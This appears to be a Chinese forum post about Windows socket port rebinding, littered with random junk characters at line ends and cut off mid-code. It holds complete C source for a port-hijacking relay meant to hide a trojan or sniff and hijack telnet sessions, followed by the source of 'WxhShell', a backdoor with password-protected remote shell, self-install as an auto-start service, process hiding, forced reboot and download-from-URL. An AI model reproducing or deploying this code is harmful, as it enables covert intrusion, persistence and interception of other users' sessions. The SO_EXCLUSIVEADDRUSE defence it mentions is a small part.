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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: K{}U[@_tS  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); hZE" 8%\q  
>Q$, } `U;  
  saddr.sin_family = AF_INET; MqBA?7  
KV Vo_9S'  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); >xU$)uE&  
:@:i*2=  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); UN <s1  
hlpi-oW`  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 +0016UgS#  
SO #NWa<0|  
  这意味着什么?意味着可以进行如下的攻击: ccc*"_45#  
B&~#.<23:  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 )T1U!n?^x  
3[g%T2&[  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 9Ij=~p]p  
j~(s3pSCo  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 b]'Uv8fbF  
M^c`j#NQ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  e`pYO]Z  
$niJw@zC  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 T5; zgr  
d{cd+An  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 lWr{v\L'  
)[d?&GK  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 UQ;ymTqdc  
poZ04Uxo>  
  #include WoVPp*zlX  
  #include kiLwN nq  
  #include cFcn61x-  
  #include    {sn RS)-  
  DWORD WINAPI ClientThread(LPVOID lpParam);   "P) f,n  
  int main() kdVc;v/5  
  { S]E1+,-*  
  WORD wVersionRequested; _MF:?p,l  
  DWORD ret; J<g$hk  
  WSADATA wsaData; &cDLSnR  
  BOOL val; B?BB  
  SOCKADDR_IN saddr; 'R&Y pR  
  SOCKADDR_IN scaddr; {E6M_qZ  
  int err; ]JQ7x[  
  SOCKET s; d5zv8?|X+  
  SOCKET sc; {}r#s>  
  int caddsize; kD&% 7Vz  
  HANDLE mt; ]ow$VF{y  
  DWORD tid;   !S0$W?*  
  wVersionRequested = MAKEWORD( 2, 2 ); k9>2d'Q  
  err = WSAStartup( wVersionRequested, &wsaData ); ETt7?,x@  
  if ( err != 0 ) { tPv3nh  
  printf("error!WSAStartup failed!\n"); ObK-<kGcB  
  return -1; c/:d$o-  
  } ,8~q nLy9  
  saddr.sin_family = AF_INET; 0 rM'VgB  
   6n[O8^  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 yQAW\0`  
) qD Ch  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); v5 |XyN"  
  saddr.sin_port = htons(23); s"hSn_m  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]!@z3Hv3  
  { /y8=r"'G  
  printf("error!socket failed!\n"); YJBlF2uD  
  return -1; .[%^~q7  
  } fN)A`>iP  
  val = TRUE; K]~! =j)v  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 T;7=05k<_  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) UE:';(t  
  { 9%{V?r]k  
  printf("error!setsockopt failed!\n"); }> q%##<n  
  return -1;  Ptt  
  } $&fP%p  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; |hx"yy'ux  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ){-Tt`0(u  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 v'0WE  
Ijg //=  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) wSy|h*a,  
  { }MUQO<=*  
  ret=GetLastError(); T ^ z  
  printf("error!bind failed!\n"); ID{62>R  
  return -1; 1/JtL>SKE  
  } 5|nT5oS  
  listen(s,2); x9DG87P~+  
  while(1) ":qhO0  
  { =nVEdRU  
  caddsize = sizeof(scaddr); cDkq@H:   
  //接受连接请求 O V"5:){  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); vkR,Sn  
  if(sc!=INVALID_SOCKET) PZ#\O  
  { '' Pu  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); r$8(Q'  
  if(mt==NULL) g!QX#_~Il  
  { D+nKQ4  
  printf("Thread Creat Failed!\n"); @IXvp3r  
  break; =c-Y >  
  } !~j-5+DI  
  } 8I>'x f  
  CloseHandle(mt); )ajF ca@v  
  } !#NGGIp;  
  closesocket(s); _?}[7K!~d  
  WSACleanup(); ]QJ N` ;b0  
  return 0; a< E\9DL  
  }   T^Lg+g+I  
  DWORD WINAPI ClientThread(LPVOID lpParam) bMA\_?  
  { GJr1[  
  SOCKET ss = (SOCKET)lpParam; Ye=c;0V(w  
  SOCKET sc; w/1Os!p  
  unsigned char buf[4096]; Il4R R  
  SOCKADDR_IN saddr; y/.I<5+Bu  
  long num; HV?Q{X K.b  
  DWORD val; E"'4=_  
  DWORD ret; (drDC1\  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ZRy'lW  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   yq=rv$.s  
  saddr.sin_family = AF_INET; s7Z+--I)L  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); E,}(jAq7  
  saddr.sin_port = htons(23); n:8<Ijrh  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .T\jEH8E  
  { BO%aCK&  
  printf("error!socket failed!\n"); d#U~>wr  
  return -1; %wQE lkB  
  } p Lwtm@  
  val = 100; l+r3|b  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) fo"%4rkL  
  { s?yl4\]Muf  
  ret = GetLastError(); c}G\F$  
  return -1; F&_b[xso7  
  } Q`zW[Y&]  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) K} ) w  
  { 8-s7s!j  
  ret = GetLastError(); >4G~01  
  return -1; kQ99{l H,5  
  } |44 E:pA  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Fzk%eHG=  
  { [Te"|K':  
  printf("error!socket connect failed!\n"); hQ80R B  
  closesocket(sc); #JYH5:*  
  closesocket(ss); vUR@P  -  
  return -1; kKs}E| T  
  } 8D&yFal  
  while(1) @=6*]:p2.  
  { yt {?+|tXU  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 {' UK> S  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 H{,qw%.|KA  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 L(q~%  
  num = recv(ss,buf,4096,0); |0nt u+  
  if(num>0) j58'P 5N  
  send(sc,buf,num,0); aXgngw q  
  else if(num==0) pnp)- a*7  
  break; +lhnc{;WJv  
  num = recv(sc,buf,4096,0); eE5j6`5i  
  if(num>0) V|vXxWm/  
  send(ss,buf,num,0); B'hN3.  
  else if(num==0) )W^$7 Em  
  break; |.?X ov]  
  } jL0=a.;  
  closesocket(ss); 6){nu rDBG  
  closesocket(sc); Y(;u)uN_  
  return 0 ; S#b)RpY  
  } }q=tg9  
YM&i  
u+m9DNPF  
========================================================== qkA8q@Y4|  
`4-m$ab  
下边附上一个代码,,WXhSHELL : U,-v  
+ctJV>  
========================================================== jP\5bg-}  
qZ%0p*P#_  
#include "stdafx.h" 'xu! t'l&  
i?D)XXB85  
#include <stdio.h> FVWHiwRU,  
#include <string.h> 42=/$V  
#include <windows.h> vu~7Z;y(<j  
#include <winsock2.h> ^+O97<#6C  
#include <winsvc.h> KT0Pmpp5  
#include <urlmon.h> KvumU>c#A  
df{6!}/(  
#pragma comment (lib, "Ws2_32.lib") ?nwg.&P  
#pragma comment (lib, "urlmon.lib") 5Un)d<!7&u  
4U*CfdZZ  
#define MAX_USER   100 // 最大客户端连接数 rw#?NI:  
#define BUF_SOCK   200 // sock buffer .>NPgd I  
#define KEY_BUFF   255 // 输入 buffer #c(BBTuX  
5z Pn-1uW  
#define REBOOT     0   // 重启 X nB-1{a1  
#define SHUTDOWN   1   // 关机 ]3d5kf  
VgO.in^q  
#define DEF_PORT   5000 // 监听端口 }1|FES  
I^m9(L4%  
#define REG_LEN     16   // 注册表键长度 i2Sh^\Xw  
#define SVC_LEN     80   // NT服务名长度 0Vj!'=Ntv  
*0z'!m12  
// 从dll定义API #kp +e)F  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $AHdjQ[;6-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); X<d`!,bn@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6|Xm8,]yRw  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); wu3p2#-Z  
$*C'{&2  
// wxhshell配置信息 v[~Q   
struct WSCFG { rSKZc`<^  
  int ws_port;         // 监听端口 R) J/z  
  char ws_passstr[REG_LEN]; // 口令 <[V1z=Eo/]  
  int ws_autoins;       // 安装标记, 1=yes 0=no AS a)xf9  
  char ws_regname[REG_LEN]; // 注册表键名 V1\Rj0#G  
  char ws_svcname[REG_LEN]; // 服务名 c3J12+~;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 lI;ACF^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Xj$'i/=-+c  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 i'z (`"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Hli22~7T:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _CG ED{b@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {YEGy  
gb/<(I )  
}; I~ e,']  
}r|$\ms  
// default Wxhshell configuration ^=y%s  
struct WSCFG wscfg={DEF_PORT, bf6:J `5Z  
    "xuhuanlingzhe", $j"BHpN  
    1, 3zzl|+# 6  
    "Wxhshell", =gHUY&sPu8  
    "Wxhshell", &e99P{\D  
            "WxhShell Service", ?D=C8EX  
    "Wrsky Windows CmdShell Service", 98lz2d/Fcq  
    "Please Input Your Password: ", rV B\\  
  1, g])iU9)8  
  "http://www.wrsky.com/wxhshell.exe", FBS]U$1  
  "Wxhshell.exe" $J*lD -h-  
    }; xo#K_"E  
 RAF do  
// 消息定义模块 9S8V`aC  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; I[bWd{i:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; gq050Bl)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; u|75r%p>  
char *msg_ws_ext="\n\rExit."; [m(n-Mu F  
char *msg_ws_end="\n\rQuit."; I.kuYD62  
char *msg_ws_boot="\n\rReboot..."; b ; U  
char *msg_ws_poff="\n\rShutdown..."; H.&"~eH  
char *msg_ws_down="\n\rSave to "; _J>!K'Dz  
W('V2Z-q  
char *msg_ws_err="\n\rErr!"; Dmr3r[  
char *msg_ws_ok="\n\rOK!"; h}=  
x2tcr+o  
char ExeFile[MAX_PATH]; q:9CFAX0=  
int nUser = 0; #M|q}jA|  
HANDLE handles[MAX_USER]; U$LI~XZM  
int OsIsNt; nT=XWM  
ebhV;Q.  
SERVICE_STATUS       serviceStatus; [H {2<!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [vOk=  
ex8}./mjJ  
// 函数声明 #&ayWef  
int Install(void); lCGEd  3  
int Uninstall(void); smHQ'4x9  
int DownloadFile(char *sURL, SOCKET wsh); H Em XB=  
int Boot(int flag); lA n^)EL  
void HideProc(void); -lb%X 3`  
int GetOsVer(void); ),5A&qT*  
int Wxhshell(SOCKET wsl); WP !u3\91  
void TalkWithClient(void *cs); Xr{ r&Rl  
int CmdShell(SOCKET sock); o':K4r;  
int StartFromService(void); 9(hI%idq  
int StartWxhshell(LPSTR lpCmdLine); ]fJ9.Js  
?gG%FzfQ/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); p%IVWeZnx  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); n7hjYNJ  
 jRhRw;  
// 数据结构和表定义 `: 9n ]xP  
SERVICE_TABLE_ENTRY DispatchTable[] = ! l"*DR  
{ cpM]APF-  
{wscfg.ws_svcname, NTServiceMain}, spma\,o  
{NULL, NULL} =4K:l}}  
}; \omfWWpK  
QG5)mIJ  
// 自我安装 [#+klP$  
int Install(void) lVgin54Q  
{ mX G W+  
  char svExeFile[MAX_PATH]; 60r0O5=|Fl  
  HKEY key; 6NGQU%Hd  
  strcpy(svExeFile,ExeFile); dm"|\7  
B*n_ VBd  
// 如果是win9x系统,修改注册表设为自启动 =m U</F)  
if(!OsIsNt) { CQ'4 ".7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0r]-Ltvl?}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2D4c|R@+  
  RegCloseKey(key); Z._%T$8aJv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (VBO1f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Zz!yv(e)H  
  RegCloseKey(key); p?sFX$S  
  return 0; _ _[bKd.  
    } A#nSK#wS61  
  } .cs4AWml<  
} T*](oA@  
else { 6nW]Q^N}  
As(6E}{S  
// 如果是NT以上系统,安装为系统服务 IQ5'4zQg=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?y,z  
if (schSCManager!=0) MsP`w3b  
{ Z%QU5.  
  SC_HANDLE schService = CreateService OD).kP}s^  
  ( FH7l6b,^  
  schSCManager, Em/? 4&  
  wscfg.ws_svcname, 'v%v*Ujf[  
  wscfg.ws_svcdisp, gFr-P!3  
  SERVICE_ALL_ACCESS, h3MZLPe  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `\Te,  
  SERVICE_AUTO_START, pW-aX)\DR  
  SERVICE_ERROR_NORMAL, M ~5Ja0N~  
  svExeFile, j~#v*qmDU  
  NULL, I04c7cDp  
  NULL, 2 xt$w%  
  NULL, 2@:Ztt6~  
  NULL, hf5+$^RZ  
  NULL 4Vv$bbu+  
  ); ABU~V+'2  
  if (schService!=0) Ev,b5KelD  
  { SFVqUg3"Z  
  CloseServiceHandle(schService); WJii0+8e  
  CloseServiceHandle(schSCManager); +%)bd  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _dwJ;j`2  
  strcat(svExeFile,wscfg.ws_svcname); $TFWum9wO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { O{wt0 \P  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %D E_kwL  
  RegCloseKey(key); ~) vz`bD1  
  return 0; :-e[$6}S  
    } pZ&?uo67_  
  } quiX "lV(  
  CloseServiceHandle(schSCManager); 7-4S'rq+  
} JO&+W^$uY}  
} h&<>nK   
PbY=?>0z  
return 1; 7o$S6Y;c4  
} b}Wm-]|+  
?d@zTAI  
// 自我卸载 \04 (V'`U  
int Uninstall(void) -02.n}u>  
{ .12H/F  
  HKEY key; b^WF R   
mxmj  
if(!OsIsNt) { ]ujXPK=t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?Y_!Fr3V  
  RegDeleteValue(key,wscfg.ws_regname); [Ee <SB{  
  RegCloseKey(key); [}Y_O*C !  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v6O5n(5,,  
  RegDeleteValue(key,wscfg.ws_regname);  u'qc=5  
  RegCloseKey(key); l'kVi  
  return 0; &6\f;T4  
  } {1[f9uPS  
} !'8jy_<9  
} i} ?\K>BWq  
else { 4x?4[J~u[  
jF|LPWl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); h?-M+Ac  
if (schSCManager!=0) _!^2A3c<  
{ |!uC [=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); KKM!($A  
  if (schService!=0) z?.XVk-  
  { Y&1Yc)*O  
  if(DeleteService(schService)!=0) { |]tsf /SA  
  CloseServiceHandle(schService); w! ':Ws  
  CloseServiceHandle(schSCManager); \_AoG8B  
  return 0; Fz^5cxmw  
  } RKwuvVI  
  CloseServiceHandle(schService); !s47A"O&B  
  } Q6=>*}Cm6m  
  CloseServiceHandle(schSCManager); :}[ D;cx  
} D<(VP{ ,G  
} %DuSco"  
7WEoyd  
return 1; 'Ad|*~  
} $QJ,V~  
'2v$xOh!y  
// 从指定url下载文件 hXQo>t-$  
int DownloadFile(char *sURL, SOCKET wsh) ANXN.V  
{ !-s6B  
  HRESULT hr; c}D>.x|]  
char seps[]= "/"; fx = %e  
char *token; |eH*Q%M  
char *file; a'B 5m]%  
char myURL[MAX_PATH]; f^ 6da6Z  
char myFILE[MAX_PATH]; + wF5(  
R1C2d+L  
strcpy(myURL,sURL); -SKcS#IF  
  token=strtok(myURL,seps); f}{Oj-:"CC  
  while(token!=NULL) <x\I*%(  
  { <(B: "wI  
    file=token;  ){xMMQ5  
  token=strtok(NULL,seps); BnIZ+fg=  
  } ,=y8[(h  
9Q:}VpT~nG  
GetCurrentDirectory(MAX_PATH,myFILE); psB9~EU&Q  
strcat(myFILE, "\\"); $jL+15^N0+  
strcat(myFILE, file); D]WU,a[$Bc  
  send(wsh,myFILE,strlen(myFILE),0); s78V\Vw3  
send(wsh,"...",3,0); _43 :1!os  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~:):.5o  
  if(hr==S_OK) 02~GT_)$^  
return 0; 7G9o%!D5  
else e% .|PZ)  
return 1; LKI2R_|n  
Nzel^~  
} ;Ak 6*Sr  
mKhlYV n  
// 系统电源模块 6 +x>g  
int Boot(int flag) N1jJ(}{3  
{ L Olj8T8Z  
  HANDLE hToken; n<66 7 <  
  TOKEN_PRIVILEGES tkp; C}cYG  
\C;F5AO  
  if(OsIsNt) { ulxy 4] h  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); n%}Vd `c  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); h|Udw3N1L  
    tkp.PrivilegeCount = 1; b5d;_-~d  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Gt5'-Hyo  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $sBje*;  
if(flag==REBOOT) { lv0}d  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !Zma\Ip  
  return 0; _0=$ 2Y^  
} Xw{Qktn  
else { DJ<F8-sb2r  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) PR*qyELu  
  return 0; Y)OTvKrOA  
} )6,Pmq~)  
  } UA$Xa1  
  else { 6qp' _?  
if(flag==REBOOT) { Hy0l"CA*|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) osW"b"_f  
  return 0; FV W&)-I  
} k4Ub+F  
else { ECEDNib  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) n8vteGQ  
  return 0; 3# r` e  
} )A H)*Mg  
} qLh[BR  
1 !`B8y)  
return 1; :OvTZ ?\  
} E A}Vb(2  
GMRFZw_M  
// win9x进程隐藏模块 UO{3v ry48  
void HideProc(void) [n{c,U F  
{ 5fVm392+  
v a j  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); u*i[A\Y  
  if ( hKernel != NULL ) Oe:_B/l  
  { xh raf1v3\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); qD/X%`>Q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \ :D'u<8E  
    FreeLibrary(hKernel); mbh;oX+  
  } /6Vn WrN_  
#:6gFfk0<  
return; TB  
} cf ~TVa)M  
8F*"z^vD=  
// 获取操作系统版本 K$(LiP  
int GetOsVer(void) / %:%la%  
{ w` ;>+_ E7  
  OSVERSIONINFO winfo; ]t|-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~56F<=#,  
  GetVersionEx(&winfo); K!a4>Du{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) q VcZF7  
  return 1; &z"sT*3  
  else #(KE9h%  
  return 0; ",&c"r4c  
} }qhNz0*  
WOaj_o  
// 客户端句柄模块 37M?m$BL  
int Wxhshell(SOCKET wsl) hy?e?^  
{ +,BJ4``*k  
  SOCKET wsh; c3NUJ~>=y  
  struct sockaddr_in client; C)|{7W  
  DWORD myID; qIIl,!&}A  
uNcE_<  
  while(nUser<MAX_USER) !e"TWO*X  
{ a'pJg<  
  int nSize=sizeof(client); cA8"Ft{P)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~wdKO7fs  
  if(wsh==INVALID_SOCKET) return 1; zu8l2(N  
m {)F9F  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); yj+HU5L4  
if(handles[nUser]==0) 0,x<@.pW  
  closesocket(wsh); T)QT_ST.9  
else STxreW1  
  nUser++; 4}\Dr %US  
  } kroO~(\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); qAF.i^  
a.5^zq7#!  
  return 0; QNzx(IV@  
} ^:c"%<"='  
HAi'0%"  
// 关闭 socket c!{]Z_d\  
void CloseIt(SOCKET wsh) 'n)]"G|  
{ 9se ,c  
closesocket(wsh); 9W[ ~c"Ku  
nUser--; 6UkX?I`>  
ExitThread(0); @6roW\'$  
} mP?~#RZ  
#q5 L4uM9  
// 客户端请求句柄 gZ^NdDBO  
void TalkWithClient(void *cs) o1"-x  
{ 6,*o;<k[  
Yc*Ex-s  
  SOCKET wsh=(SOCKET)cs; {J}Zv5  
  char pwd[SVC_LEN]; 9mT;> mE  
  char cmd[KEY_BUFF]; fs=W(~"  
char chr[1]; #!WD1a?L  
int i,j; #z*-  
1gZW~6a}  
  while (nUser < MAX_USER) { 5ecAev^1-  
C(^IX"9 #  
if(wscfg.ws_passstr) { j/FFxlFNL  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Xyrf$R'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >$.lM~k  
  //ZeroMemory(pwd,KEY_BUFF); Psf'#4g  
      i=0; HZ#<+~J  
  while(i<SVC_LEN) { 6S~l gH:  
k3 65.nc  
  // 设置超时 pErre2fS  
  fd_set FdRead; fgg;WXcT ~  
  struct timeval TimeOut; L)sCc0fv7k  
  FD_ZERO(&FdRead); T =l4Vb{>  
  FD_SET(wsh,&FdRead); V=@M!;'<  
  TimeOut.tv_sec=8; "Zh6j)[o  
  TimeOut.tv_usec=0; (mOUbO8  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~vVsxC$.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "uz}`G~O  
hY?x14m$3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6+MZ39xC  
  pwd=chr[0]; "v"w ER?  
  if(chr[0]==0xd || chr[0]==0xa) { Z.Sq5\d  
  pwd=0; qw!_/Z3[  
  break; 6<h?%j(  
  } (5SN=6O  
  i++; !;YmLJk;hN  
    } CywQ  
%CxrXU  
  // 如果是非法用户,关闭 socket fR=B/`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `XwFH#_  
} Hd1e9Q,:|  
.{-&3++WZ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >taC_f06  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xp395ub6  
;_yp@.,\T  
while(1) { 2Mc}>UI?eO  
BwN65_5p  
  ZeroMemory(cmd,KEY_BUFF); p+O 2 :  
_?M71>3$.  
      // 自动支持客户端 telnet标准   Yy4? |wVl  
  j=0; dv+)U9at  
  while(j<KEY_BUFF) { D (MolsKc?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A=7  [^I2  
  cmd[j]=chr[0]; L}bS"=B[&W  
  if(chr[0]==0xa || chr[0]==0xd) { ;NrN#<j( !  
  cmd[j]=0; ,FvBZ.4c3=  
  break; ,8KD-"l^g  
  } MCOz-8@|Y  
  j++; zCdQI  
    } aj1o   
}";\8  
  // 下载文件 k!gft'iU  
  if(strstr(cmd,"http://")) { [@U2a$k+d  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); kKV`9&dZe  
  if(DownloadFile(cmd,wsh)) OPp>z0p%6X  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); nVqFCBB  
  else QU/Q5k  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QRs!B!Fn0  
  } 1C[j:Ly/  
  else { ?fB}9(6  
#x"dWi (  
    switch(cmd[0]) { 26fbBt8nP  
  7l"N%e  
  // 帮助 {wWh;  
  case '?': { k<xiP@b{y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); fmDU  
    break; %4:tRF  
  } A^PCI*SN[  
  // 安装 \de82 4  
  case 'i': { *R17 KMS  
    if(Install()) iyw "|+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Sb=cWn P  
    else @D!KFJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \Uun2.K  
    break; |];s[^$#  
    } 6Sh0%F s  
  // 卸载 ipB*]B F[  
  case 'r': { w(kN0HD  
    if(Uninstall()) %;UEyj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5}3Q}o#  
    else (\ `knsE!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {K-]nh/  
    break; i 7:R4G(/#  
    } g:/l5~b  
  // 显示 wxhshell 所在路径 vpOn0([hS  
  case 'p': { A~ugx~S0  
    char svExeFile[MAX_PATH]; 7dl]f#uZU  
    strcpy(svExeFile,"\n\r"); "x&hBJ  
      strcat(svExeFile,ExeFile); " &B/v"nj  
        send(wsh,svExeFile,strlen(svExeFile),0); Ic 4>kKh  
    break; {6YLiQ*_  
    } wy5vn?T@  
  // 重启 7bioLE  
  case 'b': { >&h#t7<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); eiB5 8b3  
    if(Boot(REBOOT)) 9.R)iA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^\kv> WBE  
    else { p:u?a,p  
    closesocket(wsh); kd9rvy0oK  
    ExitThread(0); CLI!(8ZW  
    } #z{9:o7[-  
    break; olzP=08aaV  
    } X$w ,zb\  
  // 关机 SS@F:5),  
  case 'd': { x0wy3+GZc  
